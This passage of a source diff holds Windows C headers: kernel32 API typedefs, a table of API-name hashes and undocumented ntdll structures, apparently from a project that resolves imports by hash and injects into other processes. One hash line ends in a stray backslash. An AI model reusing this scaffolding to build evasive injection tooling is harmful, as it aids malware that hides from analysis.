_In_opt_ LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
_In_ DWORD flProtect,
_In_ DWORD dwMaximumSizeHigh,
_In_ DWORD dwMaximumSizeLow,
_In_opt_ LPCWSTR lpName
);
typedef LPVOID(WINAPI* ptMapViewOfFile)(
_In_ HANDLE hFileMappingObject,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwFileOffsetHigh,
_In_ DWORD dwFileOffsetLow,
_In_ SIZE_T dwNumberOfBytesToMap
);
typedef BOOL(WINAPI* ptUnmapViewOfFile)(
_In_ LPCVOID lpBaseAddress
);
typedef BOOL(WINAPI* ptDuplicateHandle)(
_In_ HANDLE hSourceProcessHandle,
_In_ HANDLE hSourceHandle,
_In_ HANDLE hTargetProcessHandle,
_Outptr_ LPHANDLE lpTargetHandle,
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwOptions
);
typedef HANDLE(WINAPI* ptGetCurrentThread)(VOID);
typedef BOOL(WINAPI* ptFlushFileBuffers)(HANDLE hFile);
typedef BOOL(WINAPI* ptDisconnectNamedPipe)(HANDLE hNamedPipe);
typedef FARPROC(WINAPI* ptGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef void (WINAPI* ptRtlInitializeCriticalSection)(RTL_CRITICAL_SECTION* lpCriticalSection);
typedef void (WINAPI* ptRtlEnterCriticalSection)(RTL_CRITICAL_SECTION* lpCriticalSection);
typedef void (WINAPI* ptRtlLeaveCriticalSection)(RTL_CRITICAL_SECTION* lpCriticalSection);
typedef int (WINAPI* ptWideCharToMultiByte)(
UINT CodePage,
DWORD dwFlags,
LPCWSTR lpWideCharStr,
int cchWideChar,
LPSTR lpMultiByteStr,
int cbMultiByte,
LPCSTR lpDefaultChar,
LPBOOL lpUsedDefaultChar);
typedef BOOL(WINAPI* ptTerminateThread)(
_Inout_ HANDLE hThread,
_In_ DWORD dwExitCode
);
typedef DWORD(WINAPI* ptGetTickCount)(VOID);
typedef void (WINAPI* ptOutputDebugStringA)(
LPCSTR lpOutputString
);
typedef void (WINAPI* ptOutputDebugStringW)(
LPCWSTR lpOutputString
);
typedef DWORD(WINAPI* ptGetLastError)();
typedef HANDLE(WINAPI* ptCreateEventA)(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCSTR lpName
);
typedef HANDLE(WINAPI* ptCreateEventW)(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCWSTR lpName
);
typedef BOOL(WINAPI* ptSetEvent)(
_In_ HANDLE hEvent
);
typedef HANDLE(WINAPI* ptOpenEventA)(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ LPCSTR lpName
);
typedef HANDLE(WINAPI* ptOpenEventW)(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ LPCWSTR lpName
);
#endif __KERNEL32_FUNCTIONS_H__

View File

@ -0,0 +1,96 @@
#ifndef __KERNEL32_HASH_H__
#define __KERNEL32_HASH_H__
#define HASH_KERNEL32 0x2eca438c
#define HASH_KERNEL32_VIRTUALALLOC 0x09ce0d4a
#define HASH_KERNEL32_VIRTUALFREE 0xcd53f5dd
#define HASH_KERNEL32_GETMODULEFILENAMEW 0xfc6b42f1
#define HASH_KERNEL32_ISWOW64PROCESS 0x2e50340b
#define HASH_KERNEL32_CREATETOOLHELP32SNAPSHOT 0xc1f3b876
#define HASH_KERNEL32_PROCESS32FIRSTW 0x8197004c
#define HASH_KERNEL32_PROCESS32NEXTW 0xbc6b67bf
#define HASH_KERNEL32_CLOSEHANDLE 0xb09315f4
#define HASH_KERNEL32_OPENPROCESS 0xdf27514b
#define HASH_KERNEL32_GETVERSIONEXW 0x2b53c31b
#define HASH_KERNEL32_FINDFIRSTFILEW 0x3d3f609f
#define HASH_KERNEL32_FINDNEXTFILEW 0x81f39c19
#define HASH_KERNEL32_GETSYSTEMDIRECTORYW 0x72641c0b
#define HASH_KERNEL32_CREATETHREAD 0x906a06b0
#define HASH_KERNEL32_CREATEREMOTETHREAD 0xff808c10
#define HASH_KERNEL32_WRITEPROCESSMEMORY 0x4f58972e
#define HASH_KERNEL32_SLEEP 0xcef2eda8
#define HASH_KERNEL32_LOADLIBRARYW 0xcb1508dc
#define HASH_KERNEL32_VIRTUALALLOCEX 0xe62e824d
#define HASH_KERNEL32_VIRTUALFREEEX 0x6b482023
#define HASH_KERNEL32_FLUSHINSTRUCTIONCACHE 0xe9258e7a
#define HASH_KERNEL32_VIRTUALPROTECT 0x10066f2f
#define HASH_KERNEL32_GETCURRENTPROCESSID 0x1db413e3
#define HASH_KERNEL32_CREATEMUTEXW 0x2d789102
#define HASH_KERNEL32_OPENMUTEXW 0x0546114d
#define HASH_KERNEL32_RELEASEMUTEX 0x27ef86df
#define HASH_KERNEL32_GETVOLUMEINFORMATIONW 0xd52d474a
#define HASH_KERNEL32_FINDFIRSTVOLUMEW 0xdf55cbf2
#define HASH_KERNEL32_FINDVOLUMECLOSE 0x8aa21257
#define HASH_KERNEL32_GETLASTERROR 0xd2e536b7
#define HASH_KERNEL32_OUTPUTDEBUGSTRINGA 0x2b0b47a5
#define HASH_KERNEL32_OUTPUTDEBUGSTRINGW 0xdfdff2f4
#define HASH_KERNEL32_CREATEFILEW 0xa1efe929
#define HASH_KERNEL32_WRITEFILE 0xcce95612
#define HASH_KERNEL32_WIDECHARTOMULTIBYTE 0x9a80e589
#define HASH_KERNEL32_MODULE32FIRSTW 0x2735a2c6
#define HASH_KERNEL32_MODULE32NEXTW 0xa29e8a1a
#define HASH_KERNEL32_CREATEPROCESSINTERNALW 0x7536a662
#define HASH_KERNEL32_RESUMETHREAD 0x3872beb9
#define HASH_KERNEL32_THREAD32FIRST 0x238b3114
#define HASH_KERNEL32_THREAD32NEXT 0xf5197707
#define HASH_KERNEL32_EXITPROCESS 0x251097cc
#define HASH_KERNEL32_DELETEFILEW 0x654fde9a
#define HASH_KERNEL32_SETTHREADCONTEXT 0x5688cbd8
#define HASH_KERNEL32_CREATEPROCESSW 0x5c856c47
#define HASH_KERNEL32_GETTHREADCONTEXT 0x649eb9c1
#define HASH_KERNEL32_READPROCESSMEMORY 0xf7c7ae42
#define HASH_KERNEL32_COPYFILEW 0xf54d69c8
#define HASH_KERNEL32_READFILE 0x095c03d0
#define HASH_KERNEL32_GETFILESIZE 0xa7fb4165
#define HASH_KERNEL32_GETCURRENTTHREAD 0x19e65db6
#define HASH_KERNEL32_GETTICKCOUNT 0x5b4219f8
#define HASH_KERNEL32_CREATENAMEDPIPEW 0x95247d39
#define HASH_KERNEL32_CONNECTNAMEDPIPE 0x829a447a
#define HASH_KERNEL32_WAITNAMEDPIPEW 0xb63f119e
#define HASH_KERNEL32_SETNAMEDPIPEHANDLESTATE 0x5942145d
#define HASH_KERNEL32_FLUSHFILEBUFFERS 0xfa3d2f88
#define HASH_KERNEL32_DISCONNECTNAMEDPIPE 0x2f9019bd
#define HASH_KERNEL32_PEEKNAMEDPIPE 0xf49ca6cb
#define HASH_KERNEL32_GETWINDOWSDIRECTORYW 0x0b27c7ef
#define HASH_KERNEL32_QUEUEUSERAPC 0x0e064a10
#define HASH_KERNEL32_MULTIBYTETOWIDECHAR 0x72f11e39
#define HASH_KERNEL32_GETMODULEHANDLEW 0x4552d021
#define HASH_KERNEL32_GETPROCESSHEAP 0x40f6426d
#define HASH_KERNEL32_HEAPALLOC 0x9667ceaf
#define HASH_KERNEL32_HEAPFREE 0xb0f6e8a9
#define HASH_KERNEL32_GETCURRENTPROCESS 0xd0861aa4
#define HASH_KERNEL32_VIRTUALQUERY 0x49e02c34
#define HASH_KERNEL32_CREATEFILEMAPPINGW 0x40cf273d
#define HASH_KERNEL32_MAPVIEWOFFILE 0xa89b382f
#define HASH_KERNEL32_UNMAPVIEWOFFILE 0x391ab6af
#define HASH_KERNEL32_DUPLICATEHANDLE 0xe21f6791
#define HASH_KERNEL32_GETPROCADDRESS 0xc97c1fff\
#define HASH_KERNEL32_RTLINITIALIZECRITICALSECTION 0x8d76f9a4
#define HASH_KERNEL32_RTLENTERCRITICALSECTION 0x58ff5064
#define HASH_KERNEL32_RTLLEAVECRITICALSECTION 0x9ff81f51
#define HASH_KERNEL32_TERMINATETHREAD 0x6e68da7c
#define HASH_KERNEL32_FLUSHFILEBUFFERS 0xfa3d2f88
#define HASH_KERNEL32_OUTPUTDEBUGSTRINGA 0x2b0b47a5
#define HASH_KERNEL32_OUTPUTDEBUGSTRINGW 0xdfdff2f4
#define HASH_KERNEL32_CREATEEVENTA 0x3A1A4CF9
#define HASH_KERNEL32_CREATEEVENTW 0xCECEF9A8
#define HASH_KERNEL32_OPENEVENTA 0x1224CCB6
#define HASH_KERNEL32_OPENEVENTW 0xE6F079E7
#define HASH_KERNEL32_SETEVENT 0xcbfbd567
#endif //__KERNEL32_HASH_H__

566
src/Shared/ntdll.h Normal file
View File

@ -0,0 +1,566 @@
#ifndef _NT_H_
#define _NT_H_
#include <winnt.h>
#include <ntsecapi.h>
#ifndef NT_SUCCESS
#define NT_SUCCESS(x) ((x)>=0)
#endif
#define FILE_SUPERSEDE 0x00000000
#define FILE_OPEN 0x00000001
#define FILE_CREATE 0x00000002
#define FILE_OPEN_IF 0x00000003
#define FILE_OVERWRITE 0x00000004
#define FILE_OVERWRITE_IF 0x00000005
#define FILE_MAXIMUM_DISPOSITION 0x00000005
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_WRITE_THROUGH 0x00000002
#define FILE_RANDOM_ACCESS 0x00000800
#define FILE_DIRECTORY_FILE 0x00000001
#define STATUS_ACCESS_DENIED 0xC0000022
typedef LPVOID *PPVOID;
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID {
DWORD ClientID0;
DWORD ClientID1; // thread id
} CLIENT_ID, *PCLIENT_ID;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StdInputHandle;
HANDLE StdOutputHandle;
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingPositionLeft;
ULONG StartingPositionTop;
ULONG Width;
ULONG Height;
ULONG CharWidth;
ULONG CharHeight;
ULONG ConsoleTextAttributes;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopName;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _SECTION_IMAGE_INFORMATION {
PVOID EntryPoint;
ULONG StackZeroBits;
ULONG StackReserved;
ULONG StackCommit;
ULONG ImageSubsystem;
WORD SubsystemVersionLow;
WORD SubsystemVersionHigh;
ULONG Unknown1;
ULONG ImageCharacteristics;
ULONG ImageMachineType;
ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
typedef struct _RTL_USER_PROCESS_INFORMATION {
ULONG Size;
HANDLE ProcessHandle;
HANDLE ThreadHandle;
CLIENT_ID ClientId;
SECTION_IMAGE_INFORMATION ImageInformation;
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;
typedef void(*PPEBLOCKROUTINE)(PVOID PebLock);
typedef struct _PEB_FREE_BLOCK {
struct _PEB_FREE_BLOCK *Next;
ULONG Size;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PPVOID KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PPVOID ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PPVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
typedef struct _INITIAL_TEB {
PVOID StackBase;
PVOID StackLimit;
PVOID StackCommit;
PVOID StackCommitMax;
PVOID StackReserved;
} INITIAL_TEB, *PINITIAL_TEB;
typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
KPRIORITY Priority;
KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
typedef struct _THREAD_TIMES_INFORMATION {
LARGE_INTEGER CreationTime;
LARGE_INTEGER ExitTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
} THREAD_TIMES_INFORMATION, *PTHREAD_TIMES_INFORMATION;
typedef struct _TEB {
NT_TIB Tib;
PVOID EnvironmentPointer;
CLIENT_ID Cid;
PVOID ActiveRpcInfo;
PVOID ThreadLocalStoragePointer;
PPEB Peb;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG Win32ClientInfo[0x1F];
PVOID WOW32Reserved;
ULONG CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[0x36];
PVOID Spare1;
ULONG ExceptionCode;
ULONG SpareBytes1[0x28];
PVOID SystemReserved2[0xA];
ULONG GdiRgn;
ULONG GdiPen;
ULONG GdiBrush;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocaleInfo;
PVOID UserReserved[5];
PVOID GlDispatchTable[0x118];
ULONG GlReserved1[0x1A];
PVOID GlReserved2;
PVOID GlSectionInfo;
PVOID GlSection;
PVOID GlTable;
PVOID GlCurrentRC;
PVOID GlContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[0x105];
PVOID DeallocationStack;
PVOID TlsSlots[0x40];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[0x2];
ULONG HardErrorDisabled;
PVOID Instrumentation[0x10];
PVOID WinSockData;
ULONG GdiBatchCount;
ULONG Spare2;
ULONG Spare3;
ULONG Spare4;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
PVOID StackCommit;
PVOID StackCommitMax;
PVOID StackReserved;
} TEB, *PTEB;
struct ModuleInfoNode
{
LIST_ENTRY LoadOrder;
LIST_ENTRY InitOrder;
LIST_ENTRY MemoryOrder;
HMODULE BaseAddress; // base address AKA module handle
unsigned long EntryPoint;
unsigned int Size; // size of the modules image
UNICODE_STRING FullPath;
UNICODE_STRING Name;
unsigned long Flags;
unsigned short LoadCount;
unsigned short TlsIndex;
LIST_ENTRY HashTable; // linked list of any other modules that have the same first letter
unsigned long Timestamp;
};
typedef struct
{
WORD Offset : 12;
WORD Type : 4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef enum _SECTION_INHERIT {
ViewShare = 1, ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct
{
NTSTATUS ExitStatus;
void *PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
}PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef enum
{
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers, // Note: this is kernel mode only
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information,
ProcessImageFileName,
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum
}PROCESSINFOCLASS;
typedef enum _MEMORY_INFORMATION_CLASS
{
MemoryBasicInformation,
MemoryWorkingSetList,
MemorySectionName
}MEMORY_INFORMATION_CLASS;
enum THREADINFOCLASS {
ThreadBasicInformation,
};
typedef VOID(NTAPI *PIO_APC_ROUTINE)(__in PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG Reserved);
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemNextEventIdInformation,
SystemEventIdsInformation,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemPlugPlayBusInformation,
SystemDockInformation,
MySystemPowerInformation,
SystemProcessorSpeedInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFO
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
ULONG BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
}SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO;
typedef enum _KEY_VALUE_INFORMATION_CLASS {
KeyValueBasicInformation = 0,
KeyValueFullInformation,
KeyValuePartialInformation,
KeyValueFullInformationAlign64,
KeyValuePartialInformationAlign64,
MaxKeyValueInfoClass
} KEY_VALUE_INFORMATION_CLASS;
typedef struct _KEY_VALUE_FULL_INFORMATION {
ULONG TitleIndex;
ULONG Type;
ULONG DataOffset;
ULONG DataLength;
ULONG NameLength;
WCHAR Name[1];
} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;
typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
ULONG TitleIndex;
ULONG Type;
ULONG DataLength;
UCHAR Data[1];
} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileIdBothDirectoryInformation,
FileIdFullDirectoryInformation,
FileValidDataLengthInformation,
FileShortNameInformation,
FileIoCompletionNotificationInformation,
FileIoStatusBlockRangeInformation,
FileIoPriorityHintInformation,
FileSfioReserveInformation,
FileSfioVolumeInformation,
FileHardLinkInformation,
FileProcessIdsUsingFileInformation,
FileNormalizedNameInformation,
FileNetworkPhysicalNameInformation,
FileIdGlobalTxDirectoryInformation,
FileIsRemoteDeviceInformation,
FileUnusedInformation,
FileNumaNodeInformation,
FileStandardLinkInformation,
FileRemoteProtocolInformation,
FileRenameInformationBypassAccessCheck,
FileLinkInformationBypassAccessCheck,
FileVolumeNameInformation,
FileIdInformation,
FileIdExtdDirectoryInformation,
FileReplaceCompletionInformation,
FileHardLinkFullIdInformation,
FileIdExtdBothDirectoryInformation,
FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
typedef struct _FILE_STANDARD_INFORMATION {
LARGE_INTEGER AllocationSize;
LARGE_INTEGER EndOfFile;
ULONG NumberOfLinks;
BOOLEAN DeletePending;
BOOLEAN Directory;
} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;
#endif //_NT_H_

View File

@ -0,0 +1,237 @@
#ifndef _NT_FUNCTIONS_H_
#define _NT_FUNCTIONS_H_
#include <Windows.h>
#include <NTSecAPI.h>
#include "ntdll.h"
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef ULONG(WINAPI* ptRtlRandomEx)(
_Inout_ PULONG Seed
);
typedef NTSTATUS(WINAPI *ptRtlGetVersion)(
PRTL_OSVERSIONINFOW lpVersionInformation
);
typedef NTSTATUS(WINAPI* ptNtCreateUserProcess)(PHANDLE ProcessHandle, PHANDLE ThreadHandle, ACCESS_MASK ProcessDesiredAccess, ACCESS_MASK ThreadDesiredAccess, POBJECT_ATTRIBUTES ProcessObjectAttributes, POBJECT_ATTRIBUTES ThreadObjectAttributes, ULONG ProcessFlags, ULONG ThreadFlags, PVOID ProcessParameters, PVOID CreateInfo, PVOID AttributeList);
typedef NTSTATUS(WINAPI* ptNtCreateThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, LPVOID ClientId, PCONTEXT ThreadContext, LPVOID InitialTeb, BOOLEAN CreateSuspended);
typedef NTSTATUS(WINAPI* ptNtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ int ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
#define STATUS_SUCCESS ((NTSTATUS)0x00000000)
#define RVATOVA( base, offset ) ( (DWORD)base + (DWORD)offset )
typedef NTSYSAPI NTSTATUS(NTAPI *ptNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
typedef NTSTATUS(WINAPI* ptLdrLoadDll)(PWCHAR pathToFile, ULONG flags, PUNICODE_STRING moduleFileName, PHANDLE moduleHandle);
typedef NTSTATUS(WINAPI* ptLdrGetDllHandle)(
IN PWORD pwPath OPTIONAL,
IN PVOID Unused OPTIONAL,
IN PUNICODE_STRING ModuleFileName,
OUT PHANDLE pHModule);
typedef NTSTATUS(WINAPI* ptNtWriteVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL);
typedef NTSTATUS(WINAPI* ptNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
typedef NTSTATUS(WINAPI* ptNtProtectVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
typedef NTSTATUS(WINAPI* ptNtDeviceIoControlFile)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength);
typedef NTSTATUS(WINAPI* ptNtSetContextThread)(
IN HANDLE ThreadHandle,
IN PCONTEXT Context);
typedef NTSTATUS(WINAPI* ptNtOpenProcess)(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId);
typedef NTSTATUS(WINAPI* ptNtClose)(
_In_ HANDLE Handle
);
typedef NTSTATUS(WINAPI* ptNtCreateFile)(
_Out_ PHANDLE FileHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_opt_ PLARGE_INTEGER AllocationSize,
_In_ ULONG FileAttributes,
